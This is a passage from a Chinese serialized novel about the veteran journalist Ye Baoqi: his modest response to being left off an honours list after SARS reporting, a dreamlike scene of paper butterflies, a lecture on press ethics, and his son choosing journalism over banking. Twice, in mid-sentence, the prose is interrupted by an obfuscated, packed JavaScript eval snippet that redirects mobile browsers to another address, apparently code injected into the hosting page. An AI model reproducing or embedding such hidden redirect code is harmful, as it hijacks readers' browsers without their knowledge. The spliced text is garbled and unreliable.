“记者爷爷，我在收音机里听到您写的《白袍下的眼睛》。我妈妈也是穿白袍的，她已经四十七天没回家了。昨天晚上我梦到她变成了一只很大的白鸟，从医院的窗户飞走了。爸爸哭了，说我在胡说。可我知道您会懂——您在报道里写，有个护士阿姨说感觉自己快要长出翅膀了。您说，我妈妈是不是真的变成鸟了？如果是，她什么时候飞回来？” 解平生的喉咙动了动。 “这封信，”叶葆启取回信纸，用手指轻轻抚过那些字迹，“比任何奖状都沉。” 窗外忽然起风了。五月的杨絮不知从何处涌来，一片片黏在玻璃上，像是春天咳出的棉絮。叶葆启记得很清楚，就在四十七天前——正是那个孩子母亲离开家的日子——他第一次穿上防护服走进那座被称作“白袍之城”的医院。那衣服是蓝色的，薄得像蝉翼，穿在身上却重如铁甲。护目镜很快就被呼吸的雾气模糊，世界在他眼前化作一片乳白色的混沌。 他在混沌中看见了眼睛。 无数的眼睛。护目镜后面的，口罩上方的，被汗水浸透的刘海遮掩着的。年轻的，年老的，疲惫的，坚毅的，恐惧的，温柔的。他试图记录下那些眼睛，却发现文字在巨大的真实面前苍白如纸。最后他写下的，是一个护士的话：“有时候我觉得自己快要长出翅膀了，不是天使的那种，是鸟的——想飞离这里，又想把所有人都驮在背上带走。” 报道见报的第二天，他接到了十七个电话。有读者哭，有医生骂，有官员质询，也有同行沉默后的叹息。那篇报道像一块投进死水的石头——不，不是石头，是一颗种子，在春天的冻土里裂开了第一道缝隙。 “可是……”苏东不知何时也凑了过来，这个去年才来的小伙子脸上长着几颗青春痘，此刻因为激动而泛红，“叶老师，这不公平！我们都知道您冒了多大风险——那次您咳嗽了三天，大家都以为……” “以为我要去陪那些白袍人了？”叶葆启摘下眼镜，用衣角擦拭镜片。他的动作很慢，慢得让时间都不得不放轻脚步。“苏，我给你们讲个故事吧。” 办公室里的其他几个人都悄悄围了过来。这是叶葆启的习惯——他很少讲道理，总是讲故事。他说故事是活的，能在人心里生根发芽，而道理往往只是飘过的云。 “那是十五年前，我在西北沙漠采访。”叶葆启重新戴上眼镜，世界在他眼中恢复了清晰的轮廓，“有一天迷路了，水和食物都没了。太阳像烧红的烙铁贴在头顶，沙子烫得能烤熟鸡蛋。我以为自己要死在那里了。” 他停下来，从抽屉里摸出一包皱巴巴的香烟，抽出一支，却不点燃，只是放在鼻子下深深地嗅着。烟草的辛辣气息让他眯起了眼睛。 “后来我找到了一个烽燧遗址。夯土墙塌了一半，但背阴处还有点凉意。我瘫在那里等死，突然看见墙上有些痕迹——不是古人刻的，是新的。凑近一看，是铅笔写的字，很小，密密麻麻。” “‘今天是第八天，水还剩半壶。老赵发烧了。’ “‘第九天，老赵走了。我们把他埋在烽燧东三十步，做了标记。’ “‘第十一天，看见直升机了，但没看见我们。’ “‘第十三天……’” 叶葆启的声音低了下去，像沙漠里的夜风拂过沙丘。“最后一行字是：‘不知道谁会看见这些。如果你也是困在这里的人，往东走，太阳升起的方向，八十里外有公路。祝你好运。’” 办公室里静得能听见灰尘落下的声音。 “我靠着那点荫凉熬到傍晚，然后往东走。走了一夜，第二天中午真的看见了公路。”叶葆启终于点燃了那支烟，青色的烟雾袅袅升起，在他头顶盘绕成奇怪的形状，“后来我查到了，那是一支地质勘探队，三年前失踪的，四个人只活下来一个。” 他深深吸了一口烟，让烟雾在肺里停留了很久才缓缓吐出。“那个活下来的人，在医院躺了两个月，出院后辞了工作，去了哪里没人知道。他没有接受任何采访，没有要任何表彰。媒体想把他塑造成英雄，他却消失了，像一滴水蒸腾在沙漠的热浪里。” “为什么？”苏东忍不住问。 “我也一直在想为什么。”叶葆启的视线穿过烟雾，投向窗外遥远的天空，“直到有一次，我梦见自己回到了那个烽燧。墙上的字活了，一个个跳下来，围着我又唱又跳。它们说：‘我们不是英雄，我们只是不想死的人。我们写的也不是遗言，是给后来者的路标。’醒来后我明白了——有些事，做了就是做了，像种子埋进土里，像字刻在墙上。它不需要被展览，被歌颂。它就在那里，在时间里，等待另一个需要它的人。” 烟灰无声地掉落。叶葆启看着那截灰烬，忽然笑了：“你们说，比起那个在墙上留下路标的人，我进一趟白袍之城，写几篇报道，算什么？” 那天深夜，叶葆启最后一个离开报社。 走廊的灯已经熄了一半，剩下的一半苟延残喘地发出嗡嗡的电流声，把人的影子拉长又缩短，像是某种不安的呼吸。他走到公告栏前，那张红榜还贴在那里，在昏暗的光线下红得发黑，像一块凝固的血。 他的名字确实不在上面。 但他看见了另外一些名字：王蔓，那个哭着给他打电话说不敢进隔离病房、最后却写出动人报道的姑娘；陈默，连续三十小时蹲守发热门诊，拍下“白袍人倚墙小睡”那张获奖照片的小伙子；还有李国，因揭露物资分配问题被约谈三次仍不罢休的老愤青…… 每一个名字后面，他都看见了一张年轻的脸，一双燃烧的眼睛。他想起他们第一次拿起记者证时的表情，那种混合着神圣与惶恐的表情，像教徒第一次触摸圣物。那时他也年轻，也相信笔能改变世界。现在他知道了，笔改变不了世界，但能在墙上凿开一扇窗，让光透进来，让空气流通起来。这就够了。 他的手轻轻抚过那些名字。指尖的触感粗糙而温热，仿佛能感受到那些名字下跳动的心脏。忽然，他听见一阵细微的声响。 起初他以为是老鼠。但这声音更轻，更密，像是无数片羽毛在摩擦。他环顾四周，空无一人的走廊里，声音似乎来自公告栏后面。 他绕到公告栏背面——那里堆着过期的报纸，灰尘积了厚厚一层。而在灰尘之上，他看见了不可思议的景象： 成百上千只蝴蝶，纸做的蝴蝶，正从一堆废稿纸中钻出来。 它们是用报社的稿纸折成的，四开大小，上面还能看见密密麻麻的修改痕迹和红笔的批注。有的蝴蝶翅膀上是标题草稿，有的是采访片段，有的是被枪毙的评论文章。此刻，这些纸蝴蝶正颤巍巍地抖动着翅膀，在昏暗的光线下泛起微弱的、珍珠般的光泽。 叶葆启蹲下身，屏住呼吸。 一只蝴蝶缓缓飞起，落在他肩头。他侧头看去，翅膀上的字迹依稀可辨：“……凌晨三点，急诊室的灯还亮着。护士小刘告诉我，她已经连续工作了十八个小时，但不敢休息，因为一闭上眼就会看见那些渴望呼吸的脸……” 这是他那篇《白袍下的眼睛》的初稿段落。 又一只蝴蝶飞来，停在他手背：“……物资仓库前，志愿者老张搓着手说：‘我们不怕累，就怕东西送不到需要的人手里。’他的手套破了洞，食指冻得通红……” 《手记之三：奔跑的红色马甲》。 越来越多的蝴蝶从废纸堆中升起。它们绕着叶葆启飞舞，翅膀扇动时发出沙沙的声响，像是无数支笔在纸上同时书写。他看见了所有七篇报道的片段，看见了自己被编辑删掉的尖锐质问，看见了那些最终未能见报但同样倾注心血的字句。 它们都活了。这些被油墨浸透、被红笔划改、被时间遗忘的纸页，在这个寻常的深夜里，化作了会飞的生灵。 叶葆启伸出手，一只蝴蝶落在他掌心。它比其他蝴蝶都要小，翅膀上的字迹也格外娟秀——那不是他的字。他仔细辨认： “妈妈，今天有个记者叔叔来采访。他问我怕不怕，我说不怕，因为妈妈说勇敢的孩子才能当医生。其实我撒谎了，我很怕。但我没说，因为记者叔叔的眼睛也很累，我不想让他更难过。——小凡，九岁” 他想起来了。在医院儿科隔离区外，他遇见了一个穿着过大防护服的小女孩。她是医护人员的子女，父母都在一线，她被临时安置在这里。采访结束时，小女孩悄悄塞给他一张纸条，说“给记者叔叔的独家新闻”。 这篇“独家新闻”最终没有发表，因为涉及未成年人隐私。但他一直留着这张纸条，夹在采访本最深处。 而现在，它化作蝴蝶，在他掌心轻轻颤动翅膀。 叶葆启忽然明白了。这些蝴蝶，是他这些年所有未能发表却依然重要的文字，是所有默默无闻却依然滚烫的真实，是被荣誉名单遗漏却依然在某个角落发光的灵魂。它们不曾登上红榜，却在这个春天的深夜里，获得了另一种生命形态。 他站起身，蝴蝶随着他的动作腾空而起，在走廊里汇成一道缓缓旋转的河流。它们向着窗外飞去——窗户明明关着，它们却径直穿透了玻璃，像穿透一层不存在的水面，消失在夜色中。 叶葆启追到窗前，向外望去。 月光很好。无数纸蝴蝶在夜空中飞舞，向着城市各个方向散开。有的飞向医院的方向，有的飞向居民区，有的飞向政府大院。它们越飞越高，最终融进月色里，化作漫天闪烁的光点，像是星群坠落人间，又像是大地向天空发出的、无声的信号。 第二天，没有人提起昨夜的事。 叶葆启照常上班，照常拆信，照常接热线电话。只是当阳光再次照进办公室时，他总觉得空气中漂浮着某种细微的、闪光的东西，像是蝴蝶飞过后留下的磷粉。 解平生还是不甘心，午饭时又凑过来：“葆启，总编让我告诉你，社里准备给你申请一个特别贡献奖，虽然不算正式表彰，但至少……” “平生，”叶葆启打断他，夹起一块红烧肉放进对方饭盒里，“尝尝这个，食堂老张今天发挥超常。” 解平生怔了怔，看着那块油光发亮的红烧肉，忽然笑了：“你啊，真是……” 真是怎样，他没说下去。但叶葆启懂了。他们共事二十年，有些话早已不需要说完。 下午的业务学习会，按计划是叶葆启主讲“深度报道的伦理边界”。年轻记者们坐满了小会议室，笔记本和录音笔摆了一桌。但叶葆启走上讲台后，沉默了很久。 窗外，杨絮还在飘。一团絮毛被风吹进窗户，在空中打着旋，迟迟不肯落下。 “今天我们不讲理论。”叶葆启终于开口，声音比平时更低沉，“我给你们念几封信。” 他从随身携带的旧公文包里取出一个厚厚的牛皮纸信封，从里面倒出一叠信件。这些信纸颜色不一，质地各异，有的已经泛黄卷边。他戴上老花镜，开始读： “叶记者，我是东郊化工厂的下岗工人。看了您写的《锈蚀的齿轮》，我哭了一整夜。不是伤心，是觉得终于有人记得我们了……” “叶老师，我是师范学校的学生。您二十年前写的《乡村教师王瞎子》，让我决定回家乡教书。今年我教的第一个学生考上了大学……” “葆启兄，我是你在罗布泊遇见的那个地质队员老周的儿子。父亲去年走了，临终前还念叨你送他的那支钢笔。他说，那支笔写过真实的文字，比奖章珍贵……” 一封接一封。叶葆启读得很慢，每个字都像是从深井里打捞上来的，带着岁月的凉意和重量。会议室里只有他的声音，和窗外偶尔传来的汽车鸣笛声。有人开始低头擦眼睛，有人笔尖停在纸上，墨水洇开了一个小小的蓝点。 读完第七封，叶葆启停下来，喝了口水。水是凉的，滑过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904197|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喉咙时像一道小小的瀑布。 “这些信，”他把信纸小心地收好，放回信封，“我收藏了二十年。搬了五次家，扔了很多东西，但这些信一直在。” 他抬起头，目光扫过台下年轻的面孔：“你们问我什么是新闻的伦理边界？我不知道。但我知道，当你写下每一个字时，都要想象它在十年后、二十年后被重新读起的模样。要想象那个被你报道的人、被你影响的人、甚至被你伤害的人，在时光的另一端注视着这些文字时的眼神。” “记者手中的笔，”他举起自己的那支老式英雄钢笔，笔身已经磨出了铜底，“不是权杖，不是匕首，也不是鲜花。它是一枚种子。你永远不知道这枚种子会落在哪里，会在什么时候发芽，会长成什么。你只能保证，这枚种子是饱满的，是干净的，是能活下来的。” 他讲起西部万里行时遇见的那个牧羊人。老人不识字，但能通过云的形状预测风雨，通过草的倒向判断兽踪。他说：“娃娃，你们写字的人，也要学会看痕迹。不是看纸上的痕迹，是看心里的痕迹。你写的东西，在人心里留下的是暖痕还是疤痕，你自己要知道。” 讲起穿越罗布泊时，在沙漠深处看见的一棵枯死的胡杨。树干已经被风沙掏空，但依然保持着一百年前生长的姿态。向导说，这棵树死了，但它站着死，就成了路标。后来的人看着它，就知道该往哪里走，不该往哪里走。 “我们写的每一篇报道，都可能成为这样一棵树。”叶葆启说，“也许它不会开花结果，也许很快就会被遗忘。但只要它在某个时刻、某个地方，为某个人提供过一点荫凉，标示过一个方向，它的生命就没有白费。” 他讲得动了情，花镜滑到了鼻尖。他推了推眼镜，这个动作让他看起来不像个资深记者，倒像个乡村教师。 最后他说：“这次疫情，你们很多人都做得很好。那些表彰，该拿就拿，不要矫情。但拿了之后要记得，奖状会褪色，锦旗会积灰，而你在人心留下的痕迹，会在你看不见的地方继续生长。这才是记者真正的遗产。” 散会后，王蔓留了下来。这个圆脸姑娘眼睛还红着，说话时带着鼻音：“叶老师，我……我昨天差点去辞职。” “为什么？” “我觉得自己写得不够好。”她的眼泪掉下来，“我去采访那个失去母亲的孩子，他抱着我说‘记者姐姐，你能把我妈妈写回来吗’。我一个字都写不出来……我觉得自己好无能。” 叶葆启从抽屉里拿出一包纸巾递给她。纸巾是廉价的，粗糙的，但吸水性很好。 “小蔓，我告诉你一个秘密。”等她的抽泣声渐渐平息，叶葆启轻声说，“最好的报道，往往是从‘写不出来’开始的。当你觉得语言无力时，你才开始触摸到真实的边缘。那些下笔千言、洋洋洒洒的，反而要警惕。” 他给她讲了自己第一次面对死亡采访的经历。那是三十年前，一家煤矿瓦斯爆炸，二十三人遇难。他站在井口，听着家属的哭声，笔记本上一个字都写不出来。最后见报的只有三百字，干巴巴的事实，没有形容词，没有抒情。但很多年后，还有遇难者家属找到他，说：“谢谢你当时没渲染我们的痛苦。” “记者的克制，有时是最大的慈悲。”叶葆启说，“而你为孩子写不出的那些字，已经留在你心里了。它们会生根，会让你以后的每一篇报道，都多一些温度，少一些轻浮。这就够了。” 王蔓擦干眼泪，深深鞠了一躬：“谢谢您，叶老师。” 她离开后，叶葆启独自在会议室坐了很久。夕阳西下，橙红色的光铺满长桌，空气中的灰尘在光柱里舞蹈，像微型的星河。他忽然想起昨夜那些纸蝴蝶，它们现在在哪里呢？也许正停在哪扇窗前，也许被哪个孩子捡起，也许已经化作了春泥。 但都不重要了。它们飞过，这就够了。 那天晚上，叶葆启做了一个梦。 他梦见自己回到了童年时的小镇。那是江南水乡，青石板路被岁月磨得光滑如镜，倒映着两岸的白墙黛瓦。他挎着母亲的蓝布书包去上学，书包里装着识字课本和一支珍贵的铅笔——那是当小学教师的父亲用半个月的烟钱换来的。 走到镇口的石拱桥时，他看见桥墩上密密麻麻停满了蝴蝶。不是纸的，是活的，翅膀在晨光中闪烁着蓝紫色的金属光泽。它们安静地栖息在那里，像一场等待了很久的集会。 他走近时，蝴蝶们纷纷飞起，围着他盘旋。然后，不可思议的事情发生了：每一只蝴蝶的翅膀上，都浮现出文字。 他认出了那些字迹。有的是父亲的板书，工整方正；有的是母亲在家书里写给他的叮嘱，温柔绵密；有的是他第一篇发表在墙报上的作文，稚嫩却真诚；有的是他记者生涯的第一篇报道，激情澎湃；有的是在西部沙漠写的采访手记，风尘仆仆；有的是白袍之城里的见闻，沉重而温暖…… 他一生的文字，都以这种方式回来了。 蝴蝶们飞过石拱桥，飞过小镇的屋檐，飞向更远的地方。他追着它们跑，书包在背后一颠一颠。跑着跑着，他发现自己变小了，变成了那个刚学会写字的孩子；然后又变老了，变成了现在这个两鬓斑白的记者。他在时空中穿梭，却始终追不上那些飞翔的文字。 最后，蝴蝶们汇入了一条河——不，那不是河，是无数支笔正在书写的轨迹。那些笔悬在空中，看不见握笔的手，只有笔尖在纸上划过的沙沙声，汇成了浩瀚的声浪。他看见自己的那支英雄钢笔也在其中，笔尖已经磨秃了，却依然在写，写出一行行看不见的字。 那些字落进虚空，化作雨，落回人间。 梦醒时，天还没亮。叶葆启躺在床上，听着窗外早起的鸟鸣，忽然感到一种前所未有的平静。枕边，那支英雄钢笔静静地躺在笔记本上，笔帽没有盖，仿佛随时准备书写。 他起身走到窗前。城市正在苏醒，远方的天际线泛起鱼肚白。晨雾中，似乎真的有蝴蝶在飞，翅膀上载着这个春天所有的记忆、所有的失去、所有的希望。 他知道，今天会有新的热线电话打进来，会有新的信件寄到，会有新的故事等待被讲述。而他会继续坐在那张旧办公桌前，用磨秃的笔尖，在纸上留下痕迹——不是为了被记住，只是为了证明：这个时代，有人曾认真地看过，听过，记录过。 这就够了。 真正的荣誉，是沉默的。它不在红榜上，不在奖杯里，而在那些深夜飞舞的纸蝴蝶中，在读者珍藏的信件里，在年轻记者湿润的眼睛里，在时光深处永不褪色的墨迹里。 叶葆启打开灯，开始写今天的第一行字。 窗外的天空，渐渐亮了。 46. 第046章 血脉里的墨水与光 时光像一头老牛，拖着沉重的犁铧，在内海的土地上缓缓耕到了二零零三年夏天。空气里飘着海盐的腥气和槐花将败未败的甜腻。叶葆启的儿子叶舟，在这黏稠的夏季里，完成了大学四年的学业，站到了人生的岔路口。 叶舟学的是金融，毕业于一所被玻璃幕墙包裹的大学，成绩单干净得像新印的钞票。毕业前夕，他同时攥住了两条路：一条通往上海陆家嘴某外资银行的旋转门，门后是恒温的空调、意大利咖啡机的嘶鸣和起薪数字后头令人眩晕的零；另一条，则伸向内海市老城区那座墙皮斑驳的五层小楼——《内海都市报》社，职位是财经记者。 选择像一把生锈的钥匙，卡在他年轻的锁芯里，转不动，也拔不出。 晚饭是在阳台上吃的。素琴炒了蛤蜊，蒸了扇贝，海货的鲜气混着晚风，却吹不散桌上的沉默。叶舟扒拉着饭粒，终于把问题抛了出来，声音轻得像怕惊动瓷碗边沿趴着的苍蝇：“爸，妈，我该往哪边走？” 素琴的手在围裙上擦了又擦，指节泛白。她望向丈夫，目光里是海边的女人常见的担忧与柔韧交织的神色。她当然渴望儿子踏进那光鲜亮丽的玻璃宫殿，生活安稳得像熨烫过的衬衫。可她也记得，儿子大学四年，那些深夜从校报编辑部回来时，眼睛里燃着的那种火，那不是算计数字的火，而是另一种，更野性、更不安分的光。 叶葆启没有立刻回答。他放下筷子，那筷子是竹的，用了许多年，头尾都磨得泛出温润的暗红。他点起一支烟，烟雾在夕阳的余晖里拉出长长的、蓝色的影子。他看着儿子，像在看一片尚未被潮水完全塑造的沙滩。“小舟，”他开口，声音带着长年累月吸烟和熬夜的沙哑，“你自个儿心里，哪头沉？为个啥？” 叶舟抬起头。他的脸膛还留着少年的轮廓，但眼神已经尝试着往深处挖了。他想了很久，久到一只海鸟从阳台外掠过，投下倏忽的影子。“去外头的那条路，亮，也平，能看见别人看不见的风景，能摸到别人摸不着的数字。可是……”他停顿，喉结上下滑动，仿佛在吞咽某种无形的硬块，“我总觉得，那里头是空的。像一座修得齐齐整整的墓园，规整，安静，但没有活气。少了……少了像咱家楼下菜市场那种乱哄哄的活气，少了像你那些采访本里，人哭人笑、人骂人求的那种……热乎气。” 他眼神飘向屋里。客厅靠墙是父亲那排顶天立地的枣木书架，上面密密麻麻挤着的不是精装书，而是一摞摞颜色不一、厚薄各异的笔记本。牛皮纸的封面被摩挲得起了毛边，有些用麻绳捆着，有些夹着褪色的纸条。那是叶葆启二十多年记者生涯的“坟冢”，里面埋着无数人的悲欢、时代的尘屑和一座城市的呼吸。 “我记得小时候，”叶舟的声音低了下去，仿佛在回忆一个遥远的梦境，“你总很晚回来，身上有时是印刷厂的油墨味，有时是拆迁工地的尘土味，有时……是医院消毒水的味道。你累得瘫在沙发上，话都不想说。可要是哪天，你帮哪个没了土地的农民要到了补偿，或者逼着哪个衙门把堵了三年的下水道给通了，你眼睛里的光就能把整个屋子点亮。还有那些本子，我小时候偷着翻过，看不懂多少字，但里面贴的车票、画的路线图、按的红手印……还有，还有你记的，‘王老三说着说着哭了，眼泪掉进缺了口的茶碗里’，‘李寡妇家的屋顶漏雨，盆接水的嘀嗒声像钟摆’……爸，我觉得那些东西，比任何报表上的曲线和数字，都更像真的‘活着’。它们……有体温。” 叶葆启静静地听着，烟灰积了长长一截，忘了弹。儿子的话像一把生锈却锋利的犁头，突然翻开了他内心一块板结已久的土地。他从未奢望儿子继承这份“捉笔如捉刀”的行当，甚至私下里，他盼着儿子能远离这条布满暗礁与风浪的航道，驶向平静的港湾。可儿子此刻的眼神和话语，让他看见了一种近乎宿命的吸引——那并非对父辈荣光的简单追慕，而是一种对“真实”近乎贪婪的渴求，一种渴望将自身血脉融入更宏大叙事洪流的冲动。 “记者这碗饭，小舟，”叶葆启终于弹掉烟灰，声音沉得像夜幕降临前的海，“不是你想的那么风光。它里头爬满了虱子。”他用一种近乎残酷的平实语气描述着：“是通宵熬出来的黑眼圈，是跑断腿也追不到一个确切回音的憋屈，是写了洋洋万言最后被红笔一抹只剩个标题的窝囊，是面对受害者家属眼泪时自己无能为力的羞愧，是得罪了人半夜接到匿名电话那头只有冷笑的寒意。收入？饿不死，也撑不着。稳定？今天不知道明天派你去哪，是矿井底下还是洪水里头。你说的那些‘发光’的时候，有，像萤火虫，亮一下，更多时候是在漫漫长夜里摸索，一身泥泞，满脸灰土。” “这些，我晓得。”叶舟点点头，目光没有躲闪，“我看过你非典时候的照片，穿着那身白衣服，像裹在塑料布里，只露一双眼睛。妈跟我说过，你去西边，在罗布泊边上，车子陷进沙子里，靠喝自己的尿撑了两天。我也听过你打电话跟人拍桌子，气得手抖。我知道它难，它苦，它险。”他顿了顿，年轻的胸膛起伏着，像鼓满风的帆，“可我觉得，正是因为它又难又苦又险，趟过去了，那印在报纸上的铅字，才像活过来一样，有了骨头，有了分量。就像你常念叨的那句，‘脚底板不沾二两黄泥，笔尖子就淬不出三分血色；心窝里不装着活生生的人，写出来的字就是纸钱，风吹就散。’” 叶葆启猛地一震。这句话是他酒醉后或极度疲惫时，才会从心底最深处冒出来的呓语，从未正式对儿子讲过。它竟像一粒种子，不知何时被风刮进了儿子的心田，默默生了根，发了芽。他意识到，自己这大半生，与其说是用言语教育儿子，不如说是用背影，用气息，用那些深夜里书房不肯熄灭的灯光，用那一身总也洗不净的、混合着油墨、尘土和香烟的复杂味道，完成了最彻底的濡染。 “你想干记者，”叶葆启往前探了探身子，目光如炬，要烧穿儿子年轻的表象，“是觉得你老子这么活了一辈子，挺带劲？还是你自个儿骨子里就痒痒，就想把脑袋往麻烦里钻，就想扒开光鲜亮丽的外壳，看看底下到底是脓是血还是滚烫的良心？就想跟三教九流的人打交道，从他们嘴里、眼里、皱纹里，把被藏起来的‘真’给抠出来？” 问题像锤子，砸在砧板上。叶舟没有立刻回答。他望向阳台外。夜色完全降临了，远处的海变成一片沉厚的墨蓝，只有近处的渔火，星星点点，固执地亮着。他想了很久，久到母亲素琴悄悄起身，又给他碗里添了一勺早已凉透的汤。 “都有吧，爸。”他终于开口，声音清晰了许多，“觉得你那样活，是带劲。但更主要的是……我想弄明白。”他转过头，直视父亲，“我想弄明白，你那些本子里，那些哭啊笑啊骂啊求啊的后面，到底是一个什么样的世道，什么样的人心。我想用我自己的眼睛去看，用自己的脚去量，用自己的笔——当然，现在可能先用键盘——去记下来。记下我爸这代人怎么把一座城从旧梦里拖出来，也记下我们这代人，要把它变成什么样。爸，我觉得，总得有人去记，不然，活过就跟没活过一样，过去了就真成了灰。” 这话像一颗温暖的子弹，击中了叶葆启的心脏。他看见了一种超越血缘的、精神谱系上的确认。这不是模仿，这是觉醒；不是承袭，是对话。一种对历史与当下的勘探欲，一种近乎本能的记录冲动，这正是新闻血脉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904198|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里最珍贵的染色体。 素琴一直默默听着，手里无意识地捏着一只扇贝壳，边缘锋利，几乎要割破她的指尖。她终于松开手，贝壳掉在水泥地上，发出清脆一响。她看着丈夫，又看看儿子，眼里有泪光，但嘴角却慢慢弯起一个温柔的弧度。“葆启，”她说，声音海风般轻柔却坚定，“让小舟自己走吧。他大了，魂儿有自己的分量，知道该往哪边沉。是去银行数别人的钱，还是去报社写世间的理，都是他自己的修行。只要路走得正，心摆得中，是泥泞小道还是柏油大路，妈都给他留着门，温着饭。” 叶葆启长长地吁出一口气，那气息里包含了半生的风雪。他看向儿子，点了点头，那点头的幅度很小，却重若千钧。“好。路，你自己挑。但挑上了，就得认。记者这行，门槛在门框上，低头就能进；可要想在里头站稳了，走出个人样来，门槛就在你心里，在天上。得有铁打的脚板，纸薄的命，还得有……一颗摔不碎、腌不咸的心。荣耀是别人的，艰辛是自己的，守住笔尖底下那点良心，比守住金山还难。” 叶舟的眼睛在昏暗的灯光下亮得惊人。“爸，我想好了。我去报社。我想试试，我这支笔，能不能也蘸上点时代的墨，人间的血，写出点……有声响、有回音的字来。” 于是，叶舟把那封印着烫金徽章的外企录取通知，锁进了抽屉深处，像埋葬一个精致而苍白的梦。他通过了报社公开招考的笔试与面试，在一个槐花落尽的清晨，走向那座墙皮斑驳的五层小楼。 那天，叶葆启没有送他。他站在自己办公室那扇布满雨渍的玻璃窗前，看着儿子略显单薄却挺直的背影，穿过院子里那棵老槐树投下的破碎光影，一步一步，走进那座他战斗了大半生的堡垒。晨光给儿子的轮廓镀上一层毛茸茸的金边，那一刻，叶葆启仿佛看见二十多年前，那个同样怀揣着几分忐忑、几分豪情、口袋里只装着笔记本和钢笔的年轻自己。 百感，像退潮后沙滩上显露的贝壳与杂物，纷繁杂乱。欣慰的暖流底下，是暗涌的担忧；期待的帆影旁边，是沉重的舢板。更有一种奇异的传承感，如同古老的巫祝仪式，他将那支无形而沉重的“笔”，递到了下一代的手中。他能跑多远？他能写多深？他能在这信息如海啸般扑来的时代，守住那一点点“真”的礁石吗？叶葆启不知道。但他相信，只要那腔子血还是热的，只要那支笔还敢往坚硬处凿，路，就断不了。 晚上，素琴使出了浑身解数。清蒸鲈鱼的眼睛还瞪着，油爆大虾蜷缩着红亮的身躯，凉拌海蜇头脆生生地响。一家三口举起了酒杯，杯中是本地产的高度白酒，清冽而暴烈。 叶葆启看着儿子被酒气熏得微微发红的脸颊，郑重开口，如同举行一个简易的仪式：“叶舟记者，欢迎你，进这个门。从今往后，在这栋楼里，在新闻行当里，你是叶舟，凭你自己的本事吃饭，靠你自己的作品立身。我的名字，是你的血缘，不是你的招牌，更不是你的台阶。记住了？” 叶舟站起身，酒杯端得平稳，年轻的喉结因紧张而滚动。“爸，我记住了。我是叶舟。”他一字一顿。 两只酒杯，一只有些磨损，杯壁留着经年的指痕；一只崭新，折射着明亮的灯光。它们在空中轻轻相触。 “叮——” 一声清越悠长的脆响，仿佛不是来自玻璃，而是来自时间深处，来自血脉源头。它荡开去，惊动了窗外栖息的海鸟，也仿佛惊动了某个沉睡的、关于笔与血、墨与火、记录与抗争的古老契约。 薪火在传递，不知其温度能否抵御将至的风霜。笔耕未辍，土地已悄然更换了模样。 故事，被新的手翻开了一页。 47. 第047章 声桥沉入雾中 那是2014年深秋的一个午后，内海市的天空呈现一种罕见的铅灰色，像是有人用蘸满陈年墨汁的毛笔，在天幕上缓缓拖过。风从渤海湾吹来，带着咸腥与煤烟混合的气味，钻进《内海都市报》报社老楼的每道缝隙。 叶葆启站在六楼会议室的窗前，望着窗外。他五十九岁的眼睛已有些浑浊，但此刻却异常明亮——仿佛有两簇小小的火焰，在瞳孔深处摇曳。今天，他要为自己“十七岁的孩子”举行一场庆典式的告别。 会议室里漂浮着旧纸张、旧地毯和旧时光的气味。墙上挂着的那些照片，在从窗户斜射进来的灰白光线中，仿佛有了生命。1997年春，第一场“听潮阁”的照片已经泛黄，画面中那位自来水公司的经理，年轻得让人心疼，他紧握着黑色话筒的手指关节发白，额头上沁出细密的汗珠——那时谁也不知道，这个略显仓促的开场，会延续十七年。 “它们在看我们呢。”一个声音在身后响起。 叶葆启转身，看见退休的区长老王正仰头端详那些照片。老王今年七十三了，背微驼，但眼睛仍像鹰一样锐利。 “是啊，”叶葆启轻声说，“每一张都在看。我有时深夜加班路过这间屋子，能听见他们在里面低声交谈。” 老王笑了，露出几颗银色的假牙：“你这老记者，还是这么会说故事。” 但叶葆启没有笑。他说的是真话。至少在他的感知里是真话。那些照片里的面孔，那些记录本上的字迹，那些录音带里尚未完全消散的声音，都在这个空间里形成了某种场域，某种记忆的结界。十七年来，数十万个电话，数万人次来访，无数被解决的问题和未被解决的遗憾——所有这些能量都沉淀在这里，如同古老庙宇中积累的香火。 下午两点，与会者陆续到来。 七十八岁的社科教授老赵拄着拐杖，他的眼镜链子闪闪发光，像某种神秘的装饰。街道居委会主任李兰提着一袋自家种的枣子，硬是塞给每个到场的人。还有几位老读者——王大妈穿着二十年前流行的绛紫色外套，口袋里露出一角泛黄的报纸；退休工人老陈手里攥着一个牛皮纸信封，里面装着他十七年间写给栏目的二十七封信的复印件。 最后到场的是几位曾经“听潮”的领导，如今大多已退休。他们彼此握手、拍肩，称呼着彼此过去的职务，声音里有一种卸下重担后的松弛，又夹杂着一丝对往日权力的微妙眷恋。 叶葆启看着这些人，突然产生一种幻觉：他们不是走进会议室，而是从墙上的照片里走下来的。他们的年轻版本仍固定在相框里，而年老的自己则在房间里移动、交谈，形成一种奇异的时间叠影。 “开始吧。”他对自己说，也对着满屋的幽灵说。 座谈会以叶葆启的发言开场。他没有拿讲稿，只是将一摞厚重的记录本搬到桌上。那些本子的封面磨损严重，边角卷起，纸张因为常年翻动而变得柔软如绒。 “这是第一期到最后一期的值班记录，”他的手指拂过封面，灰尘在光线中起舞，“每一页都记着来电人的诉求、接听官员的答复、后续处理情况。有些字迹工整，有些潦草；有些页面沾着茶渍，有些角落画着无奈的简笔画。” 